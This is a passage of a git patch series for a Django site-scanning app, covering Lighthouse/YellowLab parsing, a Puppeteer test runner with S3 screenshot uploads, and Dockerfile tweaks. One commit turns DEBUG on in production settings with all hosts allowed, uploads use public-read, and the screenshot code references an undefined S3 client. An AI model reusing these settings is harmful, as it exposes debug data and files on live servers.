round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + except: + crux_score = 0 if crux_score == 0 : crux_score = None From 1caac24de09ca3be98ccb6cf898d1bb4c74c75d0 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 21:12:49 -0600 Subject: [PATCH 175/277] fixed Lighthouse bug --- app/api/utils/lighthouse.py | 200 ++++++++++++++++++------------------ 1 file changed, 100 insertions(+), 100 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 1ca9cbf4..2579af19 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -37,117 +37,117 @@ def init_audit(self): def get_data(self): - # try: - stdout_value = self.init_audit() - # decode bytes into string - stdout_string = stdout_value.decode('iso-8859-1') + try: + stdout_value = self.init_audit() + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') + + # clean string of any errors + delm = '{\n "lighthouseVersion"' + stdout_string = delm + stdout_string.split(delm)[1] + + # encode back to bytes + stdout_value = stdout_string.encode('iso-8859-1') + + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + + # attempting crux + try: + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + except: + crux_score = 0 + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } + + + data = { + "scores": scores, + "audits": audits, + "failed": False + } + + + except Exception as e: + print(e) - # clean string of any errors - delm = '{\n "lighthouseVersion"' - stdout_string = delm + stdout_string.split(delm)[1] - - # encode back to bytes - stdout_value = stdout_string.encode('iso-8859-1') - - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) + scores = { + "seo": None, + "accessibility": None, + "performance": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + } - # initial audits object audits = { "seo": [], "accessibility": [], "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] + "best_practices": [], + "pwa": [], + "crux": [] } - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - - # attempting crux - try: - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - except: - crux_score = 0 - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - data = { "scores": scores, "audits": audits, - "failed": False + "failed": True } - - - # except Exception as e: - # print(e) - - # scores = { - # "seo": None, - # "accessibility": None, - # "performance": None, - # "best_practices": None, - # "pwa": None, - # "crux": None, - # "average": None - # } - - # audits = { - # "seo": [], - # "accessibility": [], - # "performance": [], - # "best_practices": [], - # "pwa": [], - # "crux": [] - # } - - # data = { - # "scores": scores, - # "audits": audits, - # "failed": True - # } return data From 3010cc5e49e9ff6805b12c3cda16a5ef8bcfe01b Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 21:12:59 -0600 Subject: [PATCH 176/277] accepting yellowlab bug --- app/api/utils/yellowlab.py | 218 ++++++++++++++++++------------------- 1 file changed, 105 insertions(+), 113 deletions(-) diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index f9b7154a..98f2d9ce 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -27,119 +27,111 @@ def init_audit(self): def get_data(self): - # try: - stdout_value = self.init_audit() - # decode bytes into string - stdout_string = stdout_value.decode('iso-8859-1') - - # # clean string of any errors - # delm = '{\n "lighthouseVersion"' - # stdout_string = delm + stdout_string.split(delm)[1] - - # # encode back to bytes - # stdout_value = stdout_string.encode('iso-8859-1') - - - # if len(stdout_string) != 0: - # if 'Runtime error encountered' in stdout_string: - # error = {'error': 'yellowlab ran into a problem',} - # return error - - # stdout_json = json.loads(stdout_value) - - # # initial audits object - # audits = { - # "pageWeight": [], - # "requests": [], - # "domComplexity": [], - # "javascriptComplexity": [], - # "badJavascript": [], - # "jQuery": [], - # "cssComplexity": [], - # "badCSS": [], - # "fonts": [], - # "serverConfig": [], - # } - - # # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj - # for cat in audits: - # cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] - # for a in cat_audits: - # try: - # audit = stdout_json["rules"][a] - # audits[cat].append(audit) - # except: - # pass - - - # # get scores from each category - # globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] - # pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] - # requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] - # domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] - # javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] - # badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] - # jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] - # cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] - # badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] - # fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] - # serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] - - # scores = { - # "globalScore": globalScore, - # "pageWeight": pageWeight_score, - # "requests": requests_score, - # "domComplexity": domComplexity_score, - # "javascriptComplexity": javascriptComplexity_score, - # "badJavascript": badJavascript_score, - # "jQuery": jQuery_score, - # "cssComplexity": cssComplexity_score, - # "badCSS": badCSS_score, - # "fonts": fonts_score, - # "serverConfig": serverConfig_score, - # } - - data = { - "scores": 'scores', - "audits": stdout_string, - "failed": False - } - - # except Exception as e: - # print(e) - - # scores = { - # "globalScore": None, - # "pageWeight": None, - # "requests": None, - # "domComplexity": None, - # "javascriptComplexity": None, - # "badJavascript": None, - # "jQuery": None, - # "cssComplexity": None, - # "badCSS": None, - # "fonts": None, - # "serverConfig": None, - # } - - # audits = { - # "pageWeight": [], - # "requests": [], - # "domComplexity": [], - # "javascriptComplexity": [], - # "badJavascript": [], - # "jQuery": [], - # "cssComplexity": [], - # "badCSS": [], - # "fonts": [], - # "serverConfig": [], - # } - - # data = { - # "scores": scores, - # "audits": audits, - # "failed": True - # } + try: + stdout_value = self.init_audit() + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'yellowlab ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] + for a in cat_audits: + try: + audit = stdout_json["rules"][a] + audits[cat].append(audit) + except: + pass + + + # get scores from each category + globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] + pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] + requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] + domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] + javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] + badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] + jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] + cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] + badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] + fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] + serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] + + scores = { + "globalScore": globalScore, + "pageWeight": pageWeight_score, + "requests": requests_score, + "domComplexity": domComplexity_score, + "javascriptComplexity": javascriptComplexity_score, + "badJavascript": badJavascript_score, + "jQuery": jQuery_score, + "cssComplexity": cssComplexity_score, + "badCSS": badCSS_score, + "fonts": fonts_score, + "serverConfig": serverConfig_score, + } + + data = { + "scores": scores, + "audits": audits, + "failed": False + } + + except Exception as e: + print(e) + + scores = { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + } + + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + data = { + "scores": scores, + "audits": audits, + "failed": True + } return data From 7139c42a5cd339893a4e69b8b72bb6416ac424f0 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 21:15:44 -0600 Subject: [PATCH 177/277] production mode --- app/api/utils/scanner.py | 1 - 1 file changed, 1 deletion(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 8b159be8..13424f82 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -440,7 +440,6 @@ def _yellowlab(scan_id): # updating Scan object scan = Scan.objects.get(id=scan_id) scan.yellowlab = yl_data - scan.html = yl_data # TODO --> remove this after testing scan.save() # checking if scan is done From 59d444e19cc7bd54fe0b80e4e77c6b4ec543e8c2 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 6 Feb 2023 19:14:57 -0600 Subject: [PATCH 178/277] fixed schedule bug --- app/api/v1/ops/services.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index d90356e7..ecb1a8fb 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -892,8 +892,8 @@ def create_or_update_schedule(request): timezone = request.data.get('timezone', None) freq = request.data.get('frequency', None) task_type = request.data.get('task_type', None) - test_type = request.data.get('test_type', None) - scan_type = request.data.get('scan_type', None) + test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) + scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) configs = request.data.get('configs', None) schedule_id = request.data.get('schedule_id', None) case_id = request.data.get('case_id', None) From f6359cd46c853b108035f5aff01270939d3827a0 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 6 Feb 2023 19:19:50 -0600 Subject: [PATCH 179/277] testing yellowlab issue --- app/api/utils/scanner.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 13424f82..dad88675 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -290,6 +290,10 @@ def check_scan_completion(scan): if 'yellowlab' in scan.type or 'full' in scan.type: if scan.yellowlab.get('scores').get('globalScore') == None and scan.yellowlab.get('failed') == None: + + print(f'yellowlab score -> {scan.yellowlab.get("scores").get("globalScore")}') + print(f'yellowlab failed -> {scan.yellowlab.get("failed")}') + finished = False if 'vrt' in scan.type or 'full' in scan.type: From 7462c6310b250e7b2250a9a55e11c79a14f27392 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 6 Feb 2023 19:37:52 -0600 Subject: [PATCH 180/277] added runtime error --- app/api/utils/lighthouse.py | 4 +++- app/api/utils/yellowlab.py | 3 +++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 2579af19..c9bfd6cf 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -121,7 +121,9 @@ def get_data(self): "failed": False } - + else: + raise RuntimeError + except Exception as e: print(e) diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index 98f2d9ce..ea3e11b6 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -97,6 +97,9 @@ def get_data(self): "failed": False } + else: + raise RuntimeError + except Exception as e: print(e) From 1a4208541ed1b6512417ba53dc8c0a46e42a863b Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 6 Feb 2023 19:40:06 -0600 Subject: [PATCH 181/277] removed debugging --- app/api/utils/scanner.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index dad88675..13424f82 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -290,10 +290,6 @@ def check_scan_completion(scan): if 'yellowlab' in scan.type or 'full' in scan.type: if scan.yellowlab.get('scores').get('globalScore') == None and scan.yellowlab.get('failed') == None: - - print(f'yellowlab score -> {scan.yellowlab.get("scores").get("globalScore")}') - print(f'yellowlab failed -> {scan.yellowlab.get("failed")}') - finished = False if 'vrt' in scan.type or 'full' in scan.type: From f935dcc20d037bae478a898de9e46aaa1b52c769 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 6 Feb 2023 20:56:39 -0600 Subject: [PATCH 182/277] testing new scrolling in testcase --- app/api/utils/caser.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py index 4be1a034..2db06351 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -147,6 +147,8 @@ async def run(self): # using puppeteer, find and click on the 'element' selector = await self.format_element(step["action"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + # scrolling to element + await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') element = await self.page.J(selector) await element.click() time.sleep(int(self.configs['min_wait_time'])) @@ -177,6 +179,8 @@ async def run(self): if step["action"]["element"] != (None or ''): selector = await self.format_element(step["action"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + # scrolling to element + await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') element = await self.page.J(selector) await element.click(clickCount=3) await self.page.keyboard.type(step["action"]["value"]) @@ -235,6 +239,8 @@ async def run(self): # using puppeteer, find elememt and assert if element.text == assertion.text selector = await self.format_element(step["assertion"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + # scrolling to element + await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent') elementText = elementText.strip() print(f'elementText => {elementText}') From 3478f673e390dca1b193051b50923b89c5170718 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 6 Feb 2023 21:30:30 -0600 Subject: [PATCH 183/277] testing --- app/api/utils/caser.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py index 2db06351..f0eb3fe0 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -148,7 +148,7 @@ async def run(self): selector = await self.format_element(step["action"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) # scrolling to element - await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') + await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') element = await self.page.J(selector) await element.click() time.sleep(int(self.configs['min_wait_time'])) @@ -180,7 +180,7 @@ async def run(self): selector = await self.format_element(step["action"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) # scrolling to element - await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') + await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') element = await self.page.J(selector) await element.click(clickCount=3) await self.page.keyboard.type(step["action"]["value"]) From 8651a7a02aed84216935276e003b889192e7fb48 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 6 Feb 2023 21:36:27 -0600 Subject: [PATCH 184/277] fixed scrolling error --- app/api/utils/caser.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py index f0eb3fe0..c372210d 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -240,8 +240,8 @@ async def run(self): selector = await self.format_element(step["assertion"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) # scrolling to element - await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') - elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent') + await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') + elementText = await self.page.evaluate(f'document.querySelector({selector}).textContent') elementText = elementText.strip() print(f'elementText => {elementText}') print(f'value => {step["assertion"]["value"]}') From 25cdcbc79e1d05dcf871fd74ed71cbb98ac73797 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 7 Feb 2023 06:32:35 -0600 Subject: [PATCH 185/277] fixed testcase bug --- app/api/utils/caser.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py index c372210d..4e67e9af 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -147,7 +147,7 @@ async def run(self): # using puppeteer, find and click on the 'element' selector = await self.format_element(step["action"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) - # scrolling to element + # scrolling to element using plain JavaScript await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') element = await self.page.J(selector) await element.click() @@ -179,7 +179,7 @@ async def run(self): if step["action"]["element"] != (None or ''): selector = await self.format_element(step["action"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) - # scrolling to element + # scrolling to element using plain JavaScript await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') element = await self.page.J(selector) await element.click(clickCount=3) @@ -239,7 +239,7 @@ async def run(self): # using puppeteer, find elememt and assert if element.text == assertion.text selector = await self.format_element(step["assertion"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) - # scrolling to element + # scrolling to element using plain JavaScript await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') elementText = await self.page.evaluate(f'document.querySelector({selector}).textContent') elementText = elementText.strip() From 9b8b43d355bb8798be6000e0c75708ed881ccc38 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 9 Feb 2023 19:49:05 -0600 Subject: [PATCH 186/277] debugging --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 5b55b60f..4a4ea31c 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = False +DEBUG = True ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From 455f71dadeb60f0da99a7896d9f2a14a030631bc Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 09:59:07 -0600 Subject: [PATCH 187/277] adding screenshots to exceptions --- app/api/utils/caser.py | 63 ++++++++++++++++++++++++++++++++++++------ 1 file changed, 55 insertions(+), 8 deletions(-) diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py index 4e67e9af..eb041412 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -1,8 +1,9 @@ from .driver_p import driver_init -import time, asyncio, uuid, json +import time, asyncio, uuid, json, boto3, os, shutil from ..models import * from datetime import datetime from asgiref.sync import sync_to_async +from scanerr import settings @@ -23,7 +24,7 @@ def __init__(self, testcase): @sync_to_async def update_testcase( self, index=None, type=None, start_time=None, end_time=None, - passed=None, exception=None, time_completed=None, + passed=None, exception=None, time_completed=None, image=None, ): if start_time != None: self.testcase.steps[index][type]['time_created'] = str(start_time) @@ -33,6 +34,8 @@ def update_testcase( self.testcase.steps[index][type]['passed'] = passed if exception != None: self.testcase.steps[index][type]['exception'] = str(exception) + if image != None: + self.testcase.steps[index][type]['image'] = str(image) if time_completed != None: self.testcase.time_completed = time_completed test_status = True @@ -51,6 +54,32 @@ def format_element(self, element): elememt = json.dumps(element).rstrip('"').lstrip('"') return element + + + + async def save_screenshot(self, page): + pic_id = uuid.uuid4() + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + + # seting up paths + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # returning image url + return image_url + @@ -109,6 +138,7 @@ async def run(self): if step['action']['type'] == 'navigate': exception = None passed = True + image = None await self.update_testcase( index=i, type='action', start_time=datetime.now() @@ -121,6 +151,7 @@ async def run(self): time.sleep(int(self.configs['min_wait_time'])) except Exception as e: + image = await self.save_screenshot(page=self.page) exception = e passed = False @@ -129,7 +160,8 @@ async def run(self): index=i, type='action', end_time=datetime.now(), passed=passed, - exception=exception + exception=exception, + image=image ) @@ -137,6 +169,7 @@ async def run(self): if step['action']['type'] == 'click': exception = None passed = True + image = None await self.update_testcase( index=i, type='action', start_time=datetime.now() @@ -154,6 +187,7 @@ async def run(self): time.sleep(int(self.configs['min_wait_time'])) except Exception as e: + image = await self.save_screenshot(page=self.page) exception = e passed = False @@ -161,13 +195,15 @@ async def run(self): index=i, type='action', end_time=datetime.now(), passed=passed, - exception=exception + exception=exception, + image=image ) if step['action']['type'] == 'change': exception = None passed = True + image = None await self.update_testcase( index=i, type='action', start_time=datetime.now() @@ -187,6 +223,7 @@ async def run(self): time.sleep(int(self.configs['min_wait_time'])) except Exception as e: + image = await self.save_screenshot(page=self.page) exception = e passed = False @@ -194,13 +231,15 @@ async def run(self): index=i, type='action', end_time=datetime.now(), passed=passed, - exception=exception + exception=exception, + image=image ) if step['action']['type'] == 'keyDown': exception = None passed = True + image = None await self.update_testcase( index=i, type='action', start_time=datetime.now() @@ -213,6 +252,7 @@ async def run(self): time.sleep(int(self.configs['min_wait_time'])) except Exception as e: + image = await self.save_screenshot(page=self.page) exception = e passed = False @@ -220,7 +260,8 @@ async def run(self): index=i, type='action', end_time=datetime.now(), passed=passed, - exception=exception + exception=exception, + image=image ) @@ -229,6 +270,7 @@ async def run(self): if step['assertion']['type'] == 'match': exception = None passed = True + image = None await self.update_testcase( index=i, type='assertion', start_time=datetime.now() @@ -248,6 +290,7 @@ async def run(self): assert elementText == step["assertion"]["value"] except Exception as e: + image = await self.save_screenshot(page=self.page) exception = e passed = False @@ -255,13 +298,15 @@ async def run(self): index=i, type='assertion', end_time=datetime.now(), passed=passed, - exception=exception + exception=exception, + image=image ) if step['assertion']['type'] == 'exists': exception = None passed = True + image = None await self.update_testcase( index=i, type='assertion', start_time=datetime.now() @@ -275,6 +320,7 @@ async def run(self): await self.page.J(selector) except Exception as e: + image = await self.save_screenshot(page=self.page) exception = e passed = False @@ -282,7 +328,8 @@ async def run(self): index=i, type='assertion', end_time=datetime.now(), passed=passed, - exception=exception + exception=exception, + image=image ) i += 1 From 05105a176cee8740baf6baa339a78ba05b92acec Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 10:10:06 -0600 Subject: [PATCH 188/277] testing install bugs --- Dockerfile.prod | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index 79d79930..26057d9e 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -20,7 +20,12 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ RUN export NODE_OPTIONS="--max-old-space-size=7000" # installing lighthouse & yellowlabtools -RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools +# RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools +RUN npm install -g lighthouse +RUN npm install -g lighthouse-plugin-crux +RUN npm install -g lodash +RUN npm install -g yellowlabtools + # telling Puppeteer to skip installing Chrome From b4df3d3cc8d647a3fbfef81d0247df780dcb33d4 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 10:15:06 -0600 Subject: [PATCH 189/277] testing --- Dockerfile.prod | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Dockerfile.prod b/Dockerfile.prod index 26057d9e..c1c63c95 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -16,6 +16,8 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ && npm install -g n && n lts +RUN npm cache clean --force + # increasing allocated memory to node RUN export NODE_OPTIONS="--max-old-space-size=7000" From 2bfd24e750bb69e1c3dfd2689cba223c041a3b53 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 10:22:45 -0600 Subject: [PATCH 190/277] testing --- Dockerfile.prod | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index c1c63c95..1ea4e7f0 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -13,7 +13,7 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ libfontconfig # installing node and npm -RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ +RUN apt-get update && apt-get install nodejs npm -y \ && npm install -g n && n lts RUN npm cache clean --force @@ -22,7 +22,7 @@ RUN npm cache clean --force RUN export NODE_OPTIONS="--max-old-space-size=7000" # installing lighthouse & yellowlabtools -# RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools +# RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools --no-install-recommends RUN npm install -g lighthouse RUN npm install -g lighthouse-plugin-crux RUN npm install -g lodash From 08300f849cb2a2bfde8c7c07ad647d6a80e50329 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 10:44:14 -0600 Subject: [PATCH 191/277] no idea --- Dockerfile.prod | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index 1ea4e7f0..3b0d4f32 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -22,7 +22,7 @@ RUN npm cache clean --force RUN export NODE_OPTIONS="--max-old-space-size=7000" # installing lighthouse & yellowlabtools -# RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools --no-install-recommends +# --no-install-recommends RUN npm install -g lighthouse RUN npm install -g lighthouse-plugin-crux RUN npm install -g lodash From f9e4ede8b90c006d2d9537fe62fa57e8cc0fc46b Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 10:48:28 -0600 Subject: [PATCH 192/277] manually installing git in image --- Dockerfile.prod | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile.prod 